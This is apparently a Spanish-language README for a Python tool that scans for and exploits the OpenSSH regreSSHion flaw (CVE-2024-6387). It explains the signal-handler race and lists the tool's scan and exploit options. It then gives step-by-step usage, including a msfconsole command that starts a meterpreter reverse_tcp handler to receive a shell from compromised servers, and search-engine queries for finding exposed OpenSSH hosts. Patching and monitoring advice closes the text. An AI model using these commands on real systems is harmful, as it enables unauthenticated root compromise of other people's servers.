
Vulnerabilidad de ejecución remota de código no autenticado en el servidor OpenSSH (CVE-2024-6387)
CVE-2024-6387.py - PoCEl exploit funciona SOLO para servidores OpenSSH de 32 bits. Esto se debe a que el PoC utiliza punteros de 32 bits. También se sabe que algunas versiones ya están parcheadas, y no todos los servidores son vulnerables. Probado en: Kali Linux, ParrotSec, Ubuntu 22.04
Vulnerabilidad de ejecución remota de código no autenticado en el servidor OpenSSH
CVE-2024-6387.py es una herramienta ligera y eficiente diseñada para identificar servidores que ejecutan versiones vulnerables de OpenSSH, específicamente orientada a la vulnerabilidad regreSSHion descubierta recientemente (CVE-2024-6387). Este script facilita el escaneo rápido de múltiples direcciones IP, nombres de dominio y rangos de red CIDR para detectar posibles vulnerabilidades y garantizar que su infraestructura esté segura.
Se encontró una condición de carrera en el manejador de señales en el servidor OpenSSH (sshd), donde un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto, 600 en versiones antiguas de OpenSSH), entonces el manejador SIGALRM de sshd se llama de forma asíncrona. Sin embargo, este manejador de señales llama a varias funciones que no son seguras para señales asíncronas, por ejemplo, syslog().
Puedes encontrar los detalles técnicos aquí.
La falla, descubierta por investigadores de Qualys en mayo de 2024, y asignada con el identificador CVE-2024-6387, se debe a una condición de carrera en el manejador de señales en sshd que permite a atacantes remotos no autenticados ejecutar código arbitrario como root.
"Si un cliente no se autentica dentro de los segundos de LoginGraceTime (120 por defecto), entonces el manejador SIGALRM de sshd se llama de forma asíncrona y llama a varias funciones que no son seguras para señales asíncronas,"
"Un atacante remoto no autenticado puede aprovechar esta falla para ejecutar código arbitrario con privilegios de root."
Requisito: python3 última versión
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Todo lo que tienes que hacer es ejecutar primero el comando de abajo (cambia el manejador {yourip}) y ejecutar el exploit después con el comando de arriba
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
La herramienta proporciona una salida codificada por colores en la consola para una mejor legibilidad:
Verde: Conexión u operación exitosa. Rojo: Conexión fallida o error. Amarillo: Advertencias o información destacada. Cian: Información general o actualizaciones de estado.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestión de Parches: Aplicar rápidamente los parches disponibles para OpenSSH es fundamental para cerrar la brecha de vulnerabilidad. El parcheo oportuno garantiza que los exploits conocidos no puedan ser utilizados contra sus sistemas, reduciendo así la ventana de oportunidad para los atacantes.
Control de Acceso Mejorado: Limitar el acceso SSH mediante controles basados en red añade una capa adicional de defensa. Este enfoque minimiza la exposición a posibles atacantes al restringir las conexiones SSH solo a redes o direcciones IP autorizadas. La implementación de herramientas como reglas de firewall o el uso de VPNs para acceso seguro puede hacer cumplir estas restricciones de manera efectiva.
Segmentación de Red: Dividir su red en segmentos ayuda a contener el impacto de una posible brecha. Al segmentar los sistemas críticos y los datos sensibles de las partes menos críticas de su red, reduce el riesgo de movimiento lateral por parte de los atacantes. Esta segmentación puede complementarse con controles de acceso estrictos y monitoreo para detectar y responder a cualquier intento no autorizado de violar estos segmentos.
Sistemas de Detección de Intrusiones (IDS): Implementar IDS o sistemas de prevención de intrusiones (IPS) permite la monitorización en tiempo real del tráfico de red y los registros del sistema. Estos sistemas pueden detectar actividades sospechosas y posibles intentos de explotación asociados con la vulnerabilidad regreSSHion. Las alertas activadas por dichos sistemas permiten una investigación y mitigación rápidas antes de que pueda ocurrir un daño significativo.
Monitoreo de Intentos de Explotación: El monitoreo continuo de registros de red y sistema es crucial. Busque cualquier patrón o actividad inusual que pudiera indicar un intento de explotar la vulnerabilidad de OpenSSH. Este enfoque proactivo ayuda a identificar y responder a las amenazas antes de que puedan causar daño.